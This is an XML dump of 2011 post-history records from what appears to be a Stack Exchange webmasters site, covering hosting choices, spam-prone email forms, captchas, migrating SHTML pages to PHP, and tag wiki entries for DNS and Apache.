  <row Id="31826" PostHistoryTypeId="2" PostId="13726" RevisionGUID="7060b526-82d8-4fda-8319-4eaff264c975" CreationDate="2011-05-13T10:02:43.337" UserDisplayName="TZHX" Text="It would depend on the specification of the VPS compared to the shared hosting environment, and whether you know what you're doing when setting up the VPS compared to how knowledgable/clever the people organising the shared hosting are.&#xD;&#xA;&#xD;&#xA;Running on a VPS will generally give you more resources to use. Also, the additional cost (time and money) of running as a VPS compared to going with shared hosting, usually means it's more often used by people who know what they're doing, so their applications are better designed/optimised/whatever." />
  <row Id="31827" PostHistoryTypeId="2" PostId="13727" RevisionGUID="7b164845-6fe0-496b-be50-fc2c7c6a8d29" CreationDate="2011-05-13T10:21:10.960" UserDisplayName="vartec" Text="- **shared hosting** &amp;mdash; everybody's code is using same physical machine, same operating system and probably even same web server. Usually there are no guarantees at all about how much CPU will be allocated for your application. On the other hand, you get log more power when others are idle. There is however usually a cap on how much CPU your app may use. This is good option for sites with low traffic.&#xD;&#xA;- **VPS (Virtual Private Server)** &amp;mdash; it's a virtual machine, usually sharing same physical machine with others, but VPS are allocated on server in such way, that they either have fixed share of CPU or at least guaranteed minimum. You have full control over your own, full-fledged operating system. Big downside of VPS-es, is that very often they use network attached storage (typically iSCSI), which isn't great for I/O. Big advantage is that they come in all kinds of sizes, so it's a viable solution for all ranges of traffic (though for high traffic you might need more than one VPS). Best know VPS service is **Amazon EC2**. &#xD;&#xA;- **dedicated server** &amp;mdash; that just a piece of hardware that you have collocated in data center. No virtualization overhead, not sharing hardware with anyone, you can have local disks. Disadvantage complexity of maintenance and practical impossibility of real time scaling (if your site get's slashdotted, there is no way of adding more servers fast enough). As for price, YMMV, if you have very high traffic site, it might be overall cheaper than VPS. But you have to calculate for additional complexity, having deal with technical stuff like backups, failovers, load balancing etc. &#xD;&#xA; " />
  <row Id="31828" PostHistoryTypeId="2" PostId="13724" RevisionGUID="a9e7aa32-b9e4-44ac-a862-f2b8e9683433" CreationDate="2011-05-13T09:53:06.623" UserDisplayName="Candle" Text="Assuming that I have build an application using PHP, let's say something like vBulletin or assume that I will install the vBulletin itself. Will it performs better if it is in a VPS rather than a shared hosting?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To clarify my question, does the VPS or the dedicated servers make the language perofrms at its best? If no, why then when I visit a website which is running on top of server always has an amazing peroframnce while when I visit a website on top of shared hosting it perofrms well but not as good as the other?" />
  <row Id="31829" PostHistoryTypeId="1" PostId="13724" RevisionGUID="a9e7aa32-b9e4-44ac-a862-f2b8e9683433" CreationDate="2011-05-13T09:53:06.623" UserDisplayName="Candle" Text="If my web application is under a server will it perform better than if it is under a shared hosting?" />
  <row Id="31830" PostHistoryTypeId="3" PostId="13724" RevisionGUID="a9e7aa32-b9e4-44ac-a862-f2b8e9683433" CreationDate="2011-05-13T09:53:06.623" UserDisplayName="Candle" Text="&lt;php&gt;&lt;performance&gt;" />
  <row Id="31831" PostHistoryTypeId="17" PostId="13724" RevisionGUID="c993f945-7168-4e9a-8737-53def95f78dc" CreationDate="2011-05-13T10:26:11.883" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/76071/if-my-web-application-is-under-a-server-will-it-perform-better-than-if-it-is-unde" Text="" />
  <row Id="31832" PostHistoryTypeId="17" PostId="13729" RevisionGUID="f8ef0c18-3f16-4189-8999-b626344c895a" CreationDate="2011-05-13T11:07:54.913" UserId="-1" Comment="from http://stackoverflow.com/questions/5990897/are-send-to-a-friend-features-in-websites-obselete/5990976#5990976" Text="" />
  <row Id="31833" PostHistoryTypeId="2" PostId="13729" RevisionGUID="b2d696b9-57bb-440a-a352-f0b9dc207018" CreationDate="2011-05-13T11:05:40.523" UserDisplayName="radosch" Text="It really depends on the needs you have, target group specially.&#xD;&#xA;Not everbody has Twitter or Facebook as a Medium, good old Email works fine and is not like overspamed, like Facebook and Twitter. Son in certain cases it makes absolutely sense!&#xD;&#xA;&#xD;&#xA;We still implement it all the time, except for hippie flippie social sites / for youth specially.&#xD;&#xA;&#xD;&#xA;To be Honest, who takes it 100% serious, what comes over Twitter and Facebook?&#xD;&#xA;There is sooo much offtopic and its completely unpersonal.&#xD;&#xA;&#xD;&#xA;When you recommend something directly, it is marked &quot;important&quot;, at least its y o u r  favorite.&#xD;&#xA;&#xD;&#xA;And for spamming, search for honeypot or captcha implementations, they are easy to implement,&#xD;&#xA;there are several solutions for mailforms, that ensure, that a human is filling in the form.&#xD;&#xA;&#xD;&#xA;This helps?&#xD;&#xA; " />
  <row Id="31834" PostHistoryTypeId="2" PostId="13728" RevisionGUID="9937b6d5-cf62-474f-b152-4e6cd2af5a5f" CreationDate="2011-05-13T10:58:51.177" UserDisplayName="Treffynnon" Text="Often I am asked to create send to a friend forms for websites where a user can enter a few of their friends email addresses to which a URL is forwarded via email.&#xD;&#xA;&#xD;&#xA;My question is now that we have so many like buttons for services such as Facebook and Twitter are these forms even necessary any more? Do people even still fill them in in your experience?&#xD;&#xA;&#xD;&#xA;I ask as I generally tend to avoid creating them due to their propensity to get hammered by spammers attempting to re-purpose them for nefarious ends.&#xD;&#xA;&#xD;&#xA;Also are there any tips to help mitigate the risk when using PHP? For example could tracking and rate limiting IP addresses be a good approach? Any other ideas in this direction? I am totally against any form of captcha and hate websites that use them.&#xD;&#xA;&#xD;&#xA;Currently I am using a combination of PHPMailer and SwiftMailer across various projects for the actual sending of the mail." />
  <row Id="31835" PostHistoryTypeId="1" PostId="13728" RevisionGUID="9937b6d5-cf62-474f-b152-4e6cd2af5a5f" CreationDate="2011-05-13T10:58:51.177" UserDisplayName="Treffynnon" Text="Are send to a friend features in websites obselete?" />
  <row Id="31836" PostHistoryTypeId="3" PostId="13728" RevisionGUID="9937b6d5-cf62-474f-b152-4e6cd2af5a5f" CreationDate="2011-05-13T10:58:51.177" UserDisplayName="Treffynnon" Text="&lt;php&gt;&lt;email&gt;&lt;forms&gt;&lt;websites&gt;" />
  <row Id="31837" PostHistoryTypeId="17" PostId="13728" RevisionGUID="611d004e-f092-448f-8a56-b9c1c2f7ccc6" CreationDate="2011-05-13T11:07:54.913" UserId="-1" Comment="from http://stackoverflow.com/questions/5990897/are-send-to-a-friend-features-in-websites-obselete" Text="" />
  <row Id="31838" PostHistoryTypeId="2" PostId="13730" RevisionGUID="60627e46-6bb0-4bd4-a3c9-22c878a6c6c5" CreationDate="2011-05-13T11:28:26.540" UserId="7198" Text="From a Unix (or Mac) command line, you can use the 'ping' command with the 'count' option to check the response from the server as many times as you like.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    ping -c 50 www.google.com&#xD;&#xA;&#xD;&#xA;This will ping www.google.com 50 times. The final two lines of output will give you the packet loss, minimum, average, maximum, and standard deviation:  &#xD;&#xA;&#xD;&#xA;    50 packets transmitted, 48 packets received, 4.0% packet loss&#xD;&#xA;    round-trip min/avg/max/stddev = 19.347/21.268/25.521/1.268 ms&#xD;&#xA;&#xD;&#xA;On Windows you can do the same thing in the Command Prompt (command.exe) using -n for the count instead of -c:&#xD;&#xA;&#xD;&#xA;    ping -n 50 www.google.com&#xD;&#xA;&#xD;&#xA;For more detailed response time information, you might like to Google for 'load testing services'. To create more detailed response tests in situations where, for example, you need to log in to the site first, you could code your own tests using a headless browser such as [PhantomJS][1] or [ZombieJS,][2] which also uses node.js.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phantomjs.org/&#xD;&#xA;  [2]: http://labnotes.org/2010/12/30/zombie-js-insanely-fast-full-stack-headless-testing/" />
  <row Id="31839" PostHistoryTypeId="2" PostId="13731" RevisionGUID="8bb12ee0-9f34-4e6b-bf6b-8df0661950e4" CreationDate="2011-05-13T11:30:33.637" UserId="7474" Text="I have a lot of SHTML pages.  &#xD;&#xA;If I change these to PHP to add some more functionality _(obviously changing stuff like includes to PHP where necessary)_ **will this effect how search engines index my site?**   _(most importantly Google)_&#xD;&#xA;&#xD;&#xA;Will they still index the PHP files the same as the old SHTML and just as often, etc.?  &#xD;&#xA;  Will there be any difference?" />
  <row Id="31840" PostHistoryTypeId="1" PostId="13731" RevisionGUID="8bb12ee0-9f34-4e6b-bf6b-8df0661950e4" CreationDate="2011-05-13T11:30:33.637" UserId="7474" Text="Will changing SHTML files to PHP change effect how search engines index my site?" />
  <row Id="31841" PostHistoryTypeId="3" PostId="13731" RevisionGUID="8bb12ee0-9f34-4e6b-bf6b-8df0661950e4" CreationDate="2011-05-13T11:30:33.637" UserId="7474" Text="&lt;seo&gt;&lt;google&gt;&lt;html&gt;&lt;php&gt;&lt;server-side-scripting&gt;" />
  <row Id="31844" PostHistoryTypeId="2" PostId="13733" RevisionGUID="54b87c4e-0637-4e03-8dbb-24127955f6e8" CreationDate="2011-05-13T11:37:07.453" UserId="7475" Text="Resizing Firefox windows (by dragging) works fine, up until the window is about 400 px wide, at which point the width of the web page content cease to follow the window with. &#xD;&#xA;&#xD;&#xA;I'm pretty sure it's not a CSS issue, and the same thing goes for Chrome and Safari as well (they won't even let me resize the window &lt; 400 px wide).&#xD;&#xA;&#xD;&#xA;I can't understand where this limitation comes from. Is it a setting in the browser? A bug? A limitation of the OS?" />
  <row Id="31845" PostHistoryTypeId="1" PostId="13733" RevisionGUID="54b87c4e-0637-4e03-8dbb-24127955f6e8" CreationDate="2011-05-13T11:37:07.453" UserId="7475" Text="Resize Firefox (4.0.1) window below 400px on OS X" />
  <row Id="31846" PostHistoryTypeId="3" PostId="13733" RevisionGUID="54b87c4e-0637-4e03-8dbb-24127955f6e8" CreationDate="2011-05-13T11:37:07.453" UserId="7475" Text="&lt;web-development&gt;&lt;browsers&gt;&lt;design&gt;&lt;firefox&gt;" />
  <row Id="31847" PostHistoryTypeId="2" PostId="13734" RevisionGUID="7d601c78-98c5-4476-8a26-14474f338870" CreationDate="2011-05-13T11:48:18.443" UserId="1064" Text="&gt; Will they still index the PHP files&#xD;&#xA;&gt; the same as the old SHTML and just as&#xD;&#xA;&gt; often, etc.?&#xD;&#xA;&#xD;&#xA;Providing that the resulting content is served up as HTML with the [correct][1] content-type, yes.&#xD;&#xA;&#xD;&#xA;&gt; Will there be any difference?&#xD;&#xA;&#xD;&#xA;If all of the URI's indexed by the search engines are presently in the form of `http://domain.com/file.shtml` this will be a **major** change (your content will effectively disappear until search engines pick up on the new URI's).&#xD;&#xA;&#xD;&#xA;You should implement [301 - Permanent][2] redirects from the old URI's to the new URI's for your content (ex. `http://domain.com/file.php`) if you want your site's content to maintain its present rankings with major search engines.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/215455/what-causes-php-pages-to-consistently-download-instead-of-running-normally&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/URL_redirection#HTTP_status_codes_3xx" />
  <row Id="31848" PostHistoryTypeId="5" PostId="13711" RevisionGUID="c6022ac1-b716-4c4f-8e62-42adaef9f35d" CreationDate="2011-05-13T11:48:40.843" UserId="5013" Comment="removed extraneous link, cleaned up question" Text="I would like to know what things we should consider before changing our hosting server.&#xD;&#xA;&#xD;&#xA;i.e Suppose my source website is being hosted in specific IP of other people/provider. I do have username and password to access its cpanel. &#xD;&#xA;&#xD;&#xA;I would like to transfer it to my own hosting server with a different IP. I have a username and password to access that cpanel too.&#xD;&#xA;&#xD;&#xA;**Now what are the things to be consider before changing the hosting server?**" />
  <row Id="31849" PostHistoryTypeId="4" PostId="13711" RevisionGUID="c6022ac1-b716-4c4f-8e62-42adaef9f35d" CreationDate="2011-05-13T11:48:40.843" UserId="5013" Comment="removed extraneous link, cleaned up question" Text="Things to consider before changing hosting server" />
  <row Id="31850" PostHistoryTypeId="24" PostId="13711" RevisionGUID="c6022ac1-b716-4c4f-8e62-42adaef9f35d" CreationDate="2011-05-13T11:48:40.843" Comment="Proposed by 5013 approved by 1253 edit id of 273" />
  <row Id="31851" PostHistoryTypeId="5" PostId="13709" RevisionGUID="f607e29c-7cf5-4af1-825d-dff68b43373b" CreationDate="2011-05-13T11:48:47.350" UserId="7465" Comment="added 607 characters in body" Text="Shopping cart software is software used in e-commerce to assist people making purchases online, analogous to the American English term 'shopping cart'. In British English it is generally known as a shopping basket, almost exclusively shortened on websites to 'basket'.&#xD;&#xA;&#xD;&#xA;The software allows online shopping customers to accumulate a list of items for purchase, described metaphorically as &quot;placing items in the shopping cart&quot;. Upon checkout, the software typically calculates a total for the order, including shipping and handling (i.e. postage and packing) charges and the associated taxes, as applicable." />
  <row Id="31852" PostHistoryTypeId="24" PostId="13709" RevisionGUID="f607e29c-7cf5-4af1-825d-dff68b43373b" CreationDate="2011-05-13T11:48:47.350" Comment="Proposed by 7465 approved by 1253 edit id of 271" />
  <row Id="31853" PostHistoryTypeId="5" PostId="13710" RevisionGUID="df60fda5-869f-466a-a821-3bddd5d3d3f5" CreationDate="2011-05-13T11:48:50.173" UserId="7465" Comment="added 151 characters in body" Text="Shopping cart software is software used in e-commerce to assist people making purchases online, analogous to the American English term 'shopping cart'." />
  <row Id="31854" PostHistoryTypeId="24" PostId="13710" RevisionGUID="df60fda5-869f-466a-a821-3bddd5d3d3f5" CreationDate="2011-05-13T11:48:50.173" Comment="Proposed by 7465 approved by 1253 edit id of 272" />
  <row Id="31855" PostHistoryTypeId="5" PostId="13731" RevisionGUID="5fa876f8-8ba9-4724-9135-ce797ed16790" CreationDate="2011-05-13T11:51:52.387" UserId="7474" Comment="gave more info" Text="I have a lot of SHTML pages.  &#xD;&#xA;If I change these to PHP to add some more functionality _(obviously changing stuff like includes to PHP where necessary)_ **will this effect how search engines index my site?**   _(most importantly Google)_&#xD;&#xA;&#xD;&#xA;Will they still index the PHP files the same as the old SHTML and just as often, etc.?  &#xD;&#xA;  Will there be any difference?&#xD;&#xA;&#xD;&#xA;**Background Info:**  &#xD;&#xA;This is my thinking/reasoning behind this question. We have **a lot** of shtml pages.   &#xD;&#xA;I think it's because Google will index them all.   &#xD;&#xA;E.g.: If you have a file individual_page.php and essentialy this page is many pages; individual_page.php?id=39430403 then Google won't index each one right? But if I have static files, they'll index them all, right?" />
  <row Id="31856" PostHistoryTypeId="6" PostId="13713" RevisionGUID="a0b9eab8-539e-413d-9441-6c9bdecb19d6" CreationDate="2011-05-13T11:54:44.363" UserId="1253" Comment="edited tags" Text="&lt;looking-for-hosting&gt;" />
  <row Id="31857" PostHistoryTypeId="6" PostId="7712" RevisionGUID="1aafb332-7c6e-41e9-a8d4-2087d5dec84f" CreationDate="2011-05-13T12:01:58.533" UserId="1253" Comment="edited tags" Text="&lt;server&gt;&lt;looking-for-hosting&gt;&lt;dedicated-hosting&gt;" />
  <row Id="31858" PostHistoryTypeId="5" PostId="7712" RevisionGUID="00a600be-a757-485d-8f59-1957b04d4927" CreationDate="2011-05-13T12:07:48.667" UserId="288" Comment="corrected spelling, removed salutation and signature" Text="I am looking for a cheap dedicated server. (I was earlier happy with VPS, until I realized that the disk I/O is not at all reliable and depends on what your neighbours are up to at the moment).&#xD;&#xA;&#xD;&#xA;I was browsing through http://www.lowenddedi.net/the-database&#xD;&#xA;&#xD;&#xA;I don't understand memory speed and NIC speed columns at all. What will be their affect? Do I need to worry about them?&#xD;&#xA;&#xD;&#xA;Also, can someone help suggest a provider, with following criteria:&#xD;&#xA;&#xD;&#xA;1) Good &amp; reliable Network &#xD;&#xA;&#xD;&#xA;2) Price &lt;= $60/month.&#xD;&#xA;" />
  <row Id="31859" PostHistoryTypeId="4" PostId="7712" RevisionGUID="00a600be-a757-485d-8f59-1957b04d4927" CreationDate="2011-05-13T12:07:48.667" UserId="288" Comment="corrected spelling, removed salutation and signature" Text="Help selecting dedicated server with good disk I/O &amp; network" />
  <row Id="31860" PostHistoryTypeId="24" PostId="7712" RevisionGUID="00a600be-a757-485d-8f59-1957b04d4927" CreationDate="2011-05-13T12:07:48.667" Comment="Proposed by 288 approved by 1253 edit id of 274" />
  <row Id="31861" PostHistoryTypeId="25" PostId="13728" RevisionGUID="186bd2b7-28e2-47a5-b7ce-dcf95aab6ff7" CreationDate="2011-05-13T12:11:52.900" Comment="http://twitter.com/#!/StackWebmasters/status/69011979183980544" />
  <row Id="31862" PostHistoryTypeId="2" PostId="13735" RevisionGUID="e1db6774-0d81-4946-bb89-c9b5b5fea258" CreationDate="2011-05-13T12:21:53.830" UserId="-1" Text="" />
  <row Id="31863" PostHistoryTypeId="2" PostId="13736" RevisionGUID="aa87665b-42eb-47bb-8f9c-ad3fcf937540" CreationDate="2011-05-13T12:21:53.830" UserId="-1" Text="" />
  <row Id="31864" PostHistoryTypeId="2" PostId="13737" RevisionGUID="4e6e38f9-94ca-4469-9890-b4974ce8fc62" CreationDate="2011-05-13T12:22:43.290" UserId="7473" Text="Seems to me that they are an easy way out and band aid solution to a problem that could be solved in other ways. I have never implemented a captcha field on a website and do not intend to in the future, but I am curious when I see Google, Yahoo and eBay all using them. Surely there are better solutions to the problem.&#xD;&#xA;&#xD;&#xA;As a user I find them incredibly frustrating even when they have been implemented well like reCaptcha and I am unlikely to convert if a site requires me to complete it. Surely there are many other users out there that will think the same.&#xD;&#xA;&#xD;&#xA;Captcha are also not infallible with some spammers offering incentives for people to provide captcha answers in desktop apps.&#xD;&#xA;&#xD;&#xA;With so many other options for traffic filtering/limiting is it just through laziness that we have ended up with so many out there or is there a reason I am missing?" />
  <row Id="31865" PostHistoryTypeId="1" PostId="13737" RevisionGUID="4e6e38f9-94ca-4469-9890-b4974ce8fc62" CreationDate="2011-05-13T12:22:43.290" UserId="7473" Text="Why are captcha fields so prevelant across the internet?" />
  <row Id="31866" PostHistoryTypeId="3" PostId="13737" RevisionGUID="4e6e38f9-94ca-4469-9890-b4974ce8fc62" CreationDate="2011-05-13T12:22:43.290" UserId="7473" Text="&lt;captcha&gt;" />
  <row Id="31867" PostHistoryTypeId="2" PostId="13738" RevisionGUID="b6f6cab6-a2b1-4808-888d-02b8346af51e" CreationDate="2011-05-13T12:22:53.563" UserId="-1" Text="" />
  <row Id="31868" PostHistoryTypeId="2" PostId="13739" RevisionGUID="bbb27621-9490-4d32-96fe-c6f9a4e3916a" CreationDate="2011-05-13T12:22:53.563" UserId="-1" Text="" />
  <row Id="31869" PostHistoryTypeId="2" PostId="13740" RevisionGUID="51c6f94e-299b-47fb-8194-409e5d0269cf" CreationDate="2011-05-13T12:49:01.087" UserId="1643" Text="Traffic filtering/limiting has to be done on the server and it's easier to add a captcha to a web page then set that up. Also, it's hard to get traffic filtering/limiting to spot a spambot which has the rate it hits a particular site set quite low." />
  <row Id="31870" PostHistoryTypeId="2" PostId="13741" RevisionGUID="595ef704-f117-4c5f-a2f3-6a653c29c650" CreationDate="2011-05-13T13:10:50.943" UserId="1253" Text="It's also possible for you to run .shtml pages as PHP pages without having to change your file extension. All you need to do is tell Apache to handle .shtml pages as PHP. The following snippet will do that for you:&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;\.shtml$&quot;&gt;&#xD;&#xA;      ForceType application/x-httpd-php&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;That way you don't have to worry about redirects or pages being reindexed because to users and search engines the URLs will be the same." />
  <row Id="31871" PostHistoryTypeId="4" PostId="13733" RevisionGUID="b063eaec-a4fd-4830-8120-43cd547ae746" CreationDate="2011-05-13T13:17:06.023" UserId="1253" Comment="edited tags; edited title" Text="Resize broswer window below 400px on OS X" />
  <row Id="31872" PostHistoryTypeId="6" PostId="13733" RevisionGUID="b063eaec-a4fd-4830-8120-43cd547ae746" CreationDate="2011-05-13T13:17:06.023" UserId="1253" Comment="edited tags; edited title" Text="&lt;web-development&gt;&lt;browsers&gt;&lt;design&gt;" />
  <row Id="31877" PostHistoryTypeId="5" PostId="13738" RevisionGUID="179b78e0-1165-4d44-b153-cd480484a147" CreationDate="2011-05-13T13:18:34.840" UserId="288" Comment="added 754 characters in body" Text="The [Apache HTTP Server][1] is an Open Source Web server, which originated from a series of patches to the [NCSA HTTPd][2].  This is how the name was coined, as it was *a patchy* HTTPd.  Since then, Apache has been entirely re-written and no longer includes the NCSA source code.&#xD;&#xA;&#xD;&#xA;Apache is the world's most popular Web server, which is run on 54.90% of all Web servers according to the [Netcraft survey conducted July 2010][3].&#xD;&#xA;&#xD;&#xA;Apache is [very well documented][4] and most functionality is described in detail within this documentation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/NCSA_HTTPd&#xD;&#xA;  [3]: http://news.netcraft.com/archives/2010/07/16/july-2010-web-server-survey-16.html&#xD;&#xA;  [4]: http://httpd.apache.org/docs/" />
  <row Id="31878" PostHistoryTypeId="24" PostId="13738" RevisionGUID="179b78e0-1165-4d44-b153-cd480484a147" CreationDate="2011-05-13T13:18:34.840" Comment="Proposed by 288 approved by 108 edit id of 277" />
  <row Id="31879" PostHistoryTypeId="5" PostId="13739" RevisionGUID="abcda3c7-3a24-4d09-bff8-f6246a6378af" CreationDate="2011-05-13T13:18:44.043" UserId="288" Comment="added 256 characters in body" Text="The Apache HTTP Server is an Open Source Web server, which originated from a series of patches to the NCSA HTTPd. Apache is the world's most popular Web server, which is run on 54.90% of all Web servers according to the Netcraft survey conducted July 2010." />
  <row Id="31880" PostHistoryTypeId="24" PostId="13739" RevisionGUID="abcda3c7-3a24-4d09-bff8-f6246a6378af" CreationDate="2011-05-13T13:18:44.043" Comment="Proposed by 288 approved by 108 edit id of 278" />
  <row Id="31881" PostHistoryTypeId="5" PostId="13735" RevisionGUID="5ccdc9d0-290a-4ac6-ad11-28a48aebc450" CreationDate="2011-05-13T13:19:37.490" UserId="288" Comment="added 1255 characters in body" Text="DNS is the _Domain Name System_, a _hierarchical_, _distributed_ database where the keys are _domain names_.&#xD;&#xA;&#xD;&#xA;The primary references are:&#xD;&#xA;&#xD;&#xA;- [RFC 1034][1] - Domain Names - Concepts and Facilities&#xD;&#xA;- [RFC 1035][2] - Domain Names - Implementation and Specification&#xD;&#xA;&#xD;&#xA;The most common record types found in the DNS are:&#xD;&#xA;&#xD;&#xA;- &quot;A&quot; records - the mapping from a domain name to an IPv4 address&#xD;&#xA;- &quot;AAAA&quot; records - the mapping from a domain name to an IPv6 address&#xD;&#xA;- &quot;MX&quot; records - the mapping from a domain name to the host name of an SMTP server&#xD;&#xA;- &quot;NS&quot; records - used to _delegate_ a portion of the hierarchy to specific DNS servers&#xD;&#xA;- &quot;PTR&quot; records - typically used (via `in-addr.arpa.`) to map an IPv4 address back to a domain name&#xD;&#xA;- &quot;CNAME&quot; records - used to _alias_ a domain name to its _canonical_ version&#xD;&#xA;&#xD;&#xA;DNS packets are conventionally transported over UDP and TCP port 53.  UDP is more commonly used, but larger DNS responses and _zone transfers_ require TCP.  See [RFC 5966][3].&#xD;&#xA;&#xD;&#xA;This [Wikipedia][4] article provides an approachable introduction to DNS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc1034&#xD;&#xA;  [2]: http://tools.ietf.org/html/rfc1035&#xD;&#xA;  [3]: http://tools.ietf.org/html/rfc5966&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Domain_Name_System" />
  <row Id="31882" PostHistoryTypeId="24" PostId="13735" RevisionGUID="5ccdc9d0-290a-4ac6-ad11-28a48aebc450" CreationDate="2011-05-13T13:19:37.490" Comment="Proposed by 288 approved by 108 edit id of 275" />
  <row Id="31883" PostHistoryTypeId="5" PostId="13736" RevisionGUID="b690b2d8-b6a6-4e7d-9081-d0d8cc000f69" CreationDate="2011-05-13T13:19:41.950" UserId="288" Comment="added 100 characters in body" Text="DNS is the Domain Name System, a hierarchical, distributed database where the keys are domain names." />
  <row Id="31884" PostHistoryTypeId="24" PostId="13736" RevisionGUID="b690b2d8-b6a6-4e7d-9081-d0d8cc000f69" CreationDate="2011-05-13T13:19:41.950" Comment="Proposed by 288 approved by 108 edit id of 276" />
  <row Id="31885" PostHistoryTypeId="5" PostId="10215" RevisionGUID="8c61c834-a590-4837-a43c-da72071fdab4" CreationDate="2011-05-13T13:19:45.150" UserId="288" Comment="Add excerpt from Server Fault" Text="Directory-level configuration file found mostly on Apache web servers" />
  <row Id="31886" PostHistoryTypeId="24" PostId="10215" RevisionGUID="8c61c834-a590-4837-a43c-da72071fdab4" CreationDate="2011-05-13T13:19:45.150" Comment="Proposed by 288 approved by 108 edit id of 279" />
  <row Id="31887" PostHistoryTypeId="6" PostId="13731" RevisionGUID="50eec422-f1ed-40d0-860b-a7af30fa02f2" CreationDate="2011-05-13T13:27:57.867" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;server-side-scripting&gt;" />
  <row Id="31888" PostHistoryTypeId="5" PostId="13741" RevisionGUID="19e4af54-6d55-498f-b5aa-7188134f146f" CreationDate="2011-05-13T13:31:05.443" UserId="1253" Comment="added 307 characters in body; added 2 characters in body" Text="It's also possible for you to run .shtml pages as PHP pages without having to change your file extension. All you need to do is tell Apache to handle .shtml pages as PHP. The following snippet will do that for you:&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;\.shtml$&quot;&gt;&#xD;&#xA;      ForceType application/x-httpd-php&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;That way you don't have to worry about redirects or pages being reindexed because to users and search engines the URLs will be the same.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;1) Google does index pages with query strings just fine. Having them is not a bad thing at all is very common and normal. &#xD;&#xA;&#xD;&#xA;2) How ever you are using SSI you can do it the same way in PHP so if you don't have query strings in your .shtml pages then you won't need them in your .php either." />
  <row Id="31889" PostHistoryTypeId="2" PostId="13742" RevisionGUID="a32a49dc-47af-4edb-a224-1c252c612a11" CreationDate="2011-05-13T13:32:08.687" UserId="1253" Text="Authorize.Net is a payment gateway service provider allowing merchants to accept credit card and electronic checks payments through their Web site and over an IP (Internet Protocol) connection. Authorize.Net claims a user base of over 305,000 merchants, which would make them the Internet's largest payment gateway service provider." />
  <row Id="31890" PostHistoryTypeId="2" PostId="13743" RevisionGUID="c2bef002-cb58-4404-9e6b-e7f8f2cb9dff" CreationDate="2011-05-13T13:32:08.687" UserId="1253" Text="Authorize.Net is a payment gateway service provider allowing merchants to accept credit card and electronic checks payments through their Web site and over an IP (Internet Protocol) connection. " />
  <row Id="31891" PostHistoryTypeId="2" PostId="13744" RevisionGUID="88ed1ca3-1392-4bd3-b420-041e64997cd2" CreationDate="2011-05-13T13:48:37.807" UserId="5134" Text="I'm looking an open source self hosted  PHP and MySQL document management apps. any suggestion? " />
  <row Id="31892" PostHistoryTypeId="1" PostId="13744" RevisionGUID="88ed1ca3-1392-4bd3-b420-041e64997cd2" CreationDate="2011-05-13T13:48:37.807" UserId="5134" Text="self hosted open source document management apps?" />
  <row Id="31893" PostHistoryTypeId="3" PostId="13744" RevisionGUID="88ed1ca3-1392-4bd3-b420-041e64997cd2" CreationDate="2011-05-13T13:48:37.807" UserId="5134" Text="&lt;php&gt;&lt;mysql&gt;&lt;web-applications&gt;&lt;recommendations&gt;" />
  <row Id="31894" PostHistoryTypeId="6" PostId="13744" RevisionGUID="b1d0feb9-9035-441a-99fb-6848019a3f21" CreationDate="2011-05-13T13:53:48.473" UserId="1253" Comment="modified tags" Text="&lt;php&gt;&lt;looking-for-a-script&gt;&lt;mysql&gt;&lt;web-applications&gt;&lt;recommendations&gt;" />
  <row Id="31895" PostHistoryTypeId="2" PostId="13745" RevisionGUID="013cb274-740e-426c-b903-642804312b53" CreationDate="2011-05-13T14:02:11.003" UserId="1643" Text="Here's a blog post from Facebook on how to do it: http://developers.facebook.com/blog/post/498" />
  <row Id="31896" PostHistoryTypeId="6" PostId="6652" RevisionGUID="9ae62010-dc07-4984-a050-1c522ccf6bc0" CreationDate="2011-05-13T14:04:29.880" UserId="1253" Comment="modified tags" Text="&lt;facebook&gt;&lt;asp.net&gt;&lt;facebook-graph&gt;" />
  <row Id="31897" PostHistoryTypeId="5" PostId="13744" RevisionGUID="8f40e32f-2b6a-4efb-b771-1ff258b15ec7" CreationDate="2011-05-13T14:16:39.157" UserId="5134" Comment="added 335 characters in body" Text="I'm looking an open source self hosted  PHP and MySQL document management apps.&#xD;&#xA;&#xD;&#xA; - security: accessing a document by specific users &#xD;&#xA; - Work flow: by group  &#xD;&#xA; - document supporting:  .pdf  and common Microsoft office file formats&#xD;&#xA; &#xD;&#xA;I was looking [knowledge tree futures][1]  if there is an open source alternative for knowledge tree i will prefer that. &#xD;&#xA;&#xD;&#xA; any suggestion? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.knowledgetree.com/features" />
  <row Id="31898" PostHistoryTypeId="5" PostId="13744" RevisionGUID="ef978348-d0e5-4dbe-a000-96cf842526e8" CreationDate="2011-05-13T14:23:13.143" UserId="5134" Comment="deleted 2 characters in body; added 29 characters in body" Text="I'm looking an open source self hosted  PHP and MySQL document management apps.&#xD;&#xA;&#xD;&#xA; - security: accessing a document by specific users &#xD;&#xA; - Work flow: by admin approval (may be two admins)&#xD;&#xA; - document supporting:  .pdf  and common Microsoft office file formats&#xD;&#xA; &#xD;&#xA;I was looking [knowledge tree futures][1]  if there is an open source alternative for knowledge tree i will prefer that. &#xD;&#xA;&#xD;&#xA; any suggestion? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.knowledgetree.com/features" />
